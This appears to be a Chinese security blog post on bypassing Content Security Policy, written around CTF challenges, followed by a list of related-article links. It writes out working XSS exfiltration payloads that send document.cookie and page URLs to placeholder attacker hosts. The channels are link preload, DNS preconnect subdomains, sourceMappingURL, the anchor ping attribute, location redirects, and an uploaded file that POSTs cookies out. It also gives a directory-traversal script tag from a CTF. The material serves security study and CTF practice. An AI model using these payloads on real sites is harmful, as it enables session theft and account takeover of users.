csp学习

环境测试:

2016年11月27日。
chrome 版本 54.0.2840.98 (64-bit)
firefox 版本 50.0

csp

csp是为了缓解一些攻击,比如xss、csrf。
以白名单的机制对网站加载或执行的资源起作用,通过 HTTP 头信息或者 meta 元素定义

这样就导致xss失效。

更多基础知识可以看看这篇文章:

http://lorexxar.cn/2016/08/08/ccsp/

csp编写网站:
http://cspisawesome.com/

主要是总结一下如何bypass

bypass csp

xxxx-src *

header("Content-Security-Policy: script-src *;");

*符号表示允许除了内联函数以外所有的url式的请求,这样可以通过src引用。

既然想用csp的人...可能一般不会这么设置,最多问题是出在frame-src *,这样同源问题导致不能xss(绕过同源另说),但是还是能进行csrf的。

script-src unsafe-inline

header("Content-Security-Policy: default-src 'none';script-src http://lemon.love/test/csp/ 'unsafe-inline';");

如果加上unsafe-inline,就不会阻止内联代码。=。=,

内联代码包括:<script>块内容,内联事件,内联样式

比如想加载http://love.lemon/1.js,但是只限制在http://lemon.love/test/csp/里。

但是可以执行内联脚本。

default-src 'none'为none,也就其他的加载不进来,无法讲数据发送出去。虽然为none可以导致xss数据没法利用,但是网站估计也不能正常运行了。

xxxx-src self

self表示的是同源的url,所以貌似没啥办法可以加载远程url来获取数据。

header("Content-Security-Policy: default-src 'self';script-src http://lemon.love/test/csp/ 'unsafe-inline';style-src 'self' 'unsafe-inline'; img-src 'self'");

1、通过预加载

在 HTML5 中的一个新特性:页面资源预加载,他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。

可分为:DNS-prefetch、subresource 和标准的 prefetch、preconnect、prerender

<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

经过测试:目前chrome还没对预加载进行处理,firefox有进行处理,prefetch已不可用,但是dns预解析还是能用的。

如果能够进行unsafe-inline的话,可以这样构造来获取数据。

chrome(http通道):

var n0t = document.createElement("link");n0t.setAttribute("rel", "preload");n0t.setAttribute("href", "//ipipipip/"+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})()));document.head.appendChild(n0t);

firefox(dns通道):

dc = document.cookie;dcl = dc.split(";");n0 = document.getElementsByTagName("HEAD")[0];for (var i=0; i<dcl.length;i++){console.log(dcl[i]);n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".xxx.io\">";}

不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:

URL中包含下载资源
页面中包含音频、视频
POST、PUT和DELET操作的ajax请求
HTTP认证
HTTPS页面
含恶意软件的页面
弹窗页面
占用资源很多的页面
打开了chrome developer tools开发工具

2、其他特性
jQuery sourcemap

document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);

a标签的ping属性

a=document.createElement('a');
a.href='#';
a.ping='http://xxx.io/?' + escape(document.cookie);
a.click();

http 204

location='//xxx.io/csi?' + escape(document.cookie);

文件上传的助攻

如果没有unsafe-inline的助攻,而且都是self的话,这样也只能寻求站内的上传点。

cctf 2016:

上传的swf内容:

CWS
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>

<link rel='import' href='/upload/xxxxx'>

上传后的文件也分目录,比如上传到upload目录,但是如果csp限制是只能在static目录下加载js。
比如hctf 2016:

Content-Security-Policy: default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-src http://sguestbook.hctf.io/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

可以通过%2f跨目录这种来加载:

<scscriptript src="http://sguestbook.hctf.io/static/..%2fupload/a32642750cae25f4c5b020d9a66c5c5c"></scscriptript>

这里要注意到点就是,js里面的内容,虽然可以执行js了,但是获取数据还是要依靠前面的那些技巧,而不是js平台那些new Images等一些方式,不然受限制。

参考链接

http://lorexxar.cn/2016/08/08/ccsp/
http://paper.seebug.org/91/
https://blog.0daylabs.com/2016/09/09/bypassing-csp/
http://dogewatch.github.io/2016/11/01/By-Pass-CSP/

know it then do it

bypass csp学习相关推荐

  1. csp php,CSP学习笔记(持续学习更新)

    CSP--Content Security Policy 大佬光辉照耀我-学习链接 百度百科:CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(C ...

  2. Scrum认证心得 | 视觉引导师参加优普丰CSP学习之旅心得及总结

    ​ ​作者:Wanying 简介:探索将视觉.听觉.触觉.味觉.嗅觉融入敏捷实践的Scrum Master 做过开发,玩过测试,认证视觉引导师.热爱跳舞,有猫有狗 激动的心,颤抖的手,终于迎来了我期待 ...

  3. CSP学习之ASN.1编码(一)

    一.定义: 是定义抽象数据类型的标准. 是用于描述数据的表示.编码.传输.解码的灵活记法. 它提供一套正式.无歧义和精确的规则,以描述独立于特定计算机硬件的对象结构. 标准的ASN.1编码规则有其基本 ...

  4. 【XSS技巧拓展】————7、CSP浅析与简单的bypass

    什么是CSP? Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击. 简单来说,csp就是 ...

  5. 金融国企科技总监参加优普丰CSP敏捷教练学习之旅心得|Scrum认证心得分享

    作者:Kevin Yuan 通过Certified Scrum Professional (CSP)的学习,干货满满.收获颇丰.除能与申导和Bill老师"面对面"的交流,还结识了一 ...

  6. 通过iframe标签绕过csp

    iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口. 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.loca ...

  7. Scrum认证心得分享 | 外企项目经理的CSP-SM学习之旅心得及总结

    作者:赵一锦 爱好敏捷,崇尚精益 曾任科技公司PM和管理咨询顾问,从甲方和乙方两个角度经历了多个行业企业敏捷转型:现任某美国硅谷医疗科技公司中国软件部门敏捷转型负责人 从CSM开始(2018年)在优普 ...

  8. 浏览器安全策略说之内容安全策略CSP

    天融信阿尔法实验室 · 2014/04/17 14:50 目录 0x00 前言 0x01 CSP概念 0x02 CSP发展时间轴 0x03 CSP语法 0x04 CSP默认特性 0x05 CSP例子 ...

  9. 【干货】XSS知识总结

    公众号:白帽子左一 XSS基础 跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他 ...

最新文章

  1. win8 查看 linux硬盘大小,如何查看显存大小_win8如何查看显存大小
  2. openocd for windows
  3. 一个网站拿下机器学习优质资源!搜索效率提高 50%
  4. 菜鸟教程终极篇之Microsoft Windows Pre-installation Environment (Windows PE) 2.0
  5. ECMAScript 6新特性简介
  6. 无线路由器的配置实例
  7. poj-3185-开关问题
  8. 「leetcode」203.移除链表元素:听说用虚拟头节点会方便很多?
  9. 17. Element dir 属性
  10. Ubuntu下安装JRE7
  11. 网吧无盘服务器进u盘启动,利用U盘启动在网吧免费上网
  12. meson和pkg-config
  13. android无法格式化sd卡,手机sd卡无法格式化怎么回事?手机sd卡无法格式化解决方法...
  14. SQL-小题推荐牛客8题精练版
  15. Dockerfile Registry WebUI 之 docker-registry-frontend 高级应用
  16. 【阿里云】域名解析 Tomcat绑定域名
  17. 求问ps如何导出单个切片及PS导出所有的切片图像
  18. shell 编程arry数组
  19. sklearn中StandardScaler()
  20. securecrt下传输大文件

热门文章

  1. 社交、内容、硬件,谁会成为工具类app的救命稻草?
  2. 如何删除服务器中文件,如何使用Flas从服务器中删除文件
  3. uni-app-卡片组件
  4. 推行日程管理的重要性
  5. Windows server DNS服务器配置与管理
  6. 主机租用商详解服务器集群技术特点
  7. Vue学习之--------插槽【默认插槽、具名插槽、作用域插槽】(2022/8/30)
  8. JavaScript之Unicode编码转换小工具
  9. php编码代码工具,php制作unicode解码工具(unicode编码转换器)代码分享_PHP教程
  10. pytorch构建deeplabv3+